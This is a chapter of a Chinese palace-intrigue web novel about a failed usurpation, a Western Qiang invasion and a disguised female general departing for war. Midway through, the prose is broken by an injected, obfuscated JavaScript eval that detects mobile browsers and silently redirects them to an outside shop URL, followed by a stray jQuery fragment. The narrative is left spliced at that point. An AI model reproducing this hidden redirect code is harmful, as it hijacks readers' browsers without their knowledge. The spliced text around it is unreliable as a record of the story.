“陛下,便是正统!”满朝寂静之时,却忽然有人高声道,那声音自殿外传来,而后那人踉跄着跑入殿中。
狼狈,实在是太狼狈了,这人怎么会如此狼狈?头发披散开,上面全是尘土,身上的衣服东缺一块西少一条,脸上全是泥巴,瞧着似乎还受了点伤,走路来有些跛。
那人用袖子在脸上蹭了蹭,这才露出真容来,竟正是裴停云口中的正统本人——安乐王周攸之。
“你!您怎会在此?”裴停云原本大义凛然的神色一僵,他满脸的不可置信,难以置信的就要上前撕扯来人的面皮,想仔细看看是不是带了什么人皮面具。
周攸之狠狠甩开裴停云:“你还有脸问?你们裴家真是脸都不要了!硬是将本王半掳半逼的抓走!要不是本王运气好,路过了京郊一处院子,在密室里躲了几天还捡了副人皮面具,出来后恰好得陛下亲兵相救,只怕是真就要让你们计谋得逞了!”
“什么匡扶正统,本王怎么不知道我要登基?”
裴停云恨声:“龙椅上那人弑父这种事都做的出来,殿下还要顾念兄弟情分吗!你...你!”扶不上墙的烂泥!裴停云气急,却还是憋回了后面半句。
周攸之却骂:“放你妈的屁!老子从前在济州受苦受难,是陛下登基后日子才好过,不知道自己姓周之前老子可是实打实的把陛下当亲爹敬着!本王虽然没有能力,但自知之明还是有的,该是我的就是我的,不该是我的不论如何我也不会插足!”
他说完这话,竟然直接生生从周慎之的亲兵手中抢来了配剑。周慎之默许此行,他没费他大力气就将剑抢了过来,接着他竟然直直对着自己的脸划了一道,伤口顿时汩汩冒血,剑上的血甚至被蹭到了裴停云的身上,周攸之跪下:“臣弟心中明主唯陛下一人而,甘愿自毁容貌,臣弟绝无僭越之心!”
容貌有损者不得继位,这是自古便有的规矩,周攸之整这么一出,便是彻底断了登上皇位的希望,也是在告诉世人,无论弑父的传言是不是真的,周慎之都只能是正统。
为了颜面,就算有心之人有所猜测,也只能和皇帝一起装傻,更何况如此这般,裴家便是师出无名的谋逆,逆贼说的话,又怎能当真呢?
裴停云跌坐在地,自知家族此番已再无退路,父亲说要他留在京城,只有他嫡长子这般尊贵身份尚且留在京城能打消众人对裴家的疑虑,才能攻其不备,他成了弃子,可他坦然接受。
裴家养育他四十余载,这就是他的命,可此番...裴氏气数已尽。
再无人能力挽狂澜。裴停云思及此,闭上双眸,在原地呆愣了许久,而后忽然暴起,直直冲着柱子撞了过去。
力道之决绝,凌澄意甚至觉得自己清楚听到了头骨碎裂的声音。
当场毙命。
侍卫急着去拦,可事发太过突然,他就这样直挺挺倒了下去。
啪嗒。茶杯碎裂在地,黎鸢匆匆收回手,这才没有被划伤,今日天光晴好,她便想着出门来喝杯茶,却不曾想竟发生了这样的事。
她抬手正要唤来小厮收拾一二,却忽然顿了动作,紧接着,她瞳孔震颤,不敢置信的望向远方。
狼烟...是狼烟!多少年不曾见过的狼烟!
“急报!西羌王布尔科特率军亲征,如今已经兵至鄯州!”鄯州是大乾最西的州府,凌淮心一沉,怪不得裘归要引导裴家去找安乐王,暗示裴家匡扶安乐王,原来本就是为了借此机会激起大乾内乱,好叫布尔科特趁虚而入。
老西羌王已经病了许多年,偏偏这个时候没了,说不定也是布尔科特蓄谋已久与裘归里应外合,为的就是将大乾从内部瓦解。
今日早朝实在是发生了太多事了。凌淮薄唇紧抿,山雨一朝倾盆,周慎之面色极为难看,他问:“边疆战况如何?”
“禀陛下,陛下登基以来兴建边防,是以尚且能抵挡一阵子,只是在青州和邺洲,裴家召集了一批号称要起义的军队,外又有西羌王虎视眈眈...”
周慎之坐回龙椅:“能抵挡就好...能抵挡就好,诸位爱卿,边疆之事刻不容缓,谁人愿意带兵驰援鄯州。”
一时寂静,片刻后,谢止澜走上前去:“臣愿驰援鄯州,请陛下恩准!”
周慎之盯着谢止澜的面孔,他恍惚一瞬,谢止澜还是个少年,他还记得第一次见到谢止澜的时候...周慎之收回思绪,国难当头,无论如何,就算他担忧不舍,也注定要放他去。
他比任何人都清楚,谢止澜属于战场,他生来就是将军。
“朕命你带三万兵力驰援鄯州。令,安阳伯,朕命你带八千兵力去镇压裴氏作乱,而后带兵与谢将军汇合,无论如何,裴氏师出无名,撑不了太久,此战定要快,百姓经不起持久战,兵贵神速,必须速战速决。”
谢止澜和安阳伯一同跪地:“臣遵旨。”
山雨欲来风满楼,今日的早朝格外不太平。凌淮下朝之际却见黎鸢竟然在宫外等自己,他顿时小跑过去:“你怎么来了?”
黎鸢:“我今日在城中见到了狼烟...究竟发生了什么?”
凌淮拣着重点和黎鸢说,听到谢止澜要领兵出征之时,黎鸢诧异的手都有些抖,她面上流露出由衷的钦佩和赞赏,让凌淮心里有些莫名的堵。
他当然钦佩谢将军站出来的勇气,只是黎鸢这表现得也太明显了些...她难道更喜欢保家卫国的将军吗?可惜他只通武功,不曾学过领兵打仗。
黎鸢来不及关注凌淮心里的这些小九九,她只问:“止澜在哪儿?”
凌淮伸手指了指,黎鸢拉开轿帘看去,正巧和骑在马上的谢止澜对上视线,黎鸢飞速下轿跑过去。
“我见到狼烟...心中便隐隐有了猜测,不成想你竟真的要出征,止澜...我实在钦佩你。”
谢止澜笑笑:“姐姐竟专门来送我,我实在感动。”
谢止澜又歪头挑眉:“不如姐姐抱我一下,就当是让我念着京城还有人在等我,好早日归来。”
黎鸢抬手扶额:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17780212|207084||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“你非要看凌淮吃瘪?”
她又伸手进袖口里来回摸索,掏了两个小瓶子给他:“红色这瓶是毒,见血封喉。我只知战场凶险,我没什么别的能赠与你的,带上吧...或许会有用。”
谢止澜点点头,并未客气,他直接接过两个瓶子:“那蓝色这瓶呢?总不能是能肉白骨的药吧?”
黎鸢无奈一笑:“世上哪有这样的药。”
她压低了声音,凑到谢止澜耳畔:“我不知你从前在军中是如何过的,可既然如今你认识了我,我必要帮你一把。”
“月事前服用,可延经血。不过这法子不可多用。”
谢止澜僵愣住,险些从马背上摔下来,她震惊的无以复加:“你...你怎会知道?”
黎鸢颇为好笑地看着谢止澜这一副犹如被雷劈了的表情:“我是毒师,也算半个医师。”
“你怎么瞒得过医师的眼睛呢?何况你这白净的面皮,伪装的本来就不算多好,只不过朝中无人敢想真的会有女子敢这么做,而我敢这么想。”
谢止澜手放在胸口深深吸气:“...姐,我的好姐姐,你真是给了我好大一个惊吓。”
谢止澜晃了晃手里的药瓶:“不过...多谢,这东西我是真的用得上,多亏有姐姐。”
黎鸢摆了摆手:“不算什么,你为国出征,我自然要能帮则帮。”
谢止澜盯着黎鸢看了一会儿:“可你不会心中有所迷茫吗?此次打的是西羌。”
黎鸢明白了谢止澜的意思,她摇摇头:“我只知,是西羌主动犯事,入侵我大乾,既有错,便该打。”
谢止澜拉紧缰绳:“好一个有错该打,姐姐,等我回来,我给你带西羌的首饰做礼物。”
黎鸢重重点头:“一言既出,我可等着你帮我参谋画什么样的眉形呢。”
谢止澜骑马离去,她面朝太阳,背对着黎鸢挥了挥手,一路前行。
意气风发,日光尚不能及少女的意气,黎鸢发自内心的钦佩敬仰。
她正盯着谢止澜的背影出神,却忽然感觉自己的手心似乎被什么东西轻轻地挠了一下。
...有点痒。她回过头,只见凌淮正一脸怨念的盯着自己,黎鸢问:“怎么了?”
凌淮语气毫无起伏:“有那么好看?”
黎鸢:...
“你跟她吃什么醋?”
凌淮嘴硬:“并未。”
黎鸢憋不住笑:“行行行,你说没有就没有吧。”
凌淮一言不发,被黎鸢推搡着推进马车里:“这一仗不难打,原本他们打的是里应外合的主意,只是如今裴家成不了气候,西羌那边胜算自然也就小了。”
凌淮:“难在要快打。”
黎鸢点点头:“是啊,但愿能在三月内结束,不要再给百姓加冬日的负担了。”
凌淮也面露忧色:“我不通兵法,行军打仗上帮不上忙,可若要打仗必要收税,我必亲自督查。”
黎鸢点头:“我同你一起。”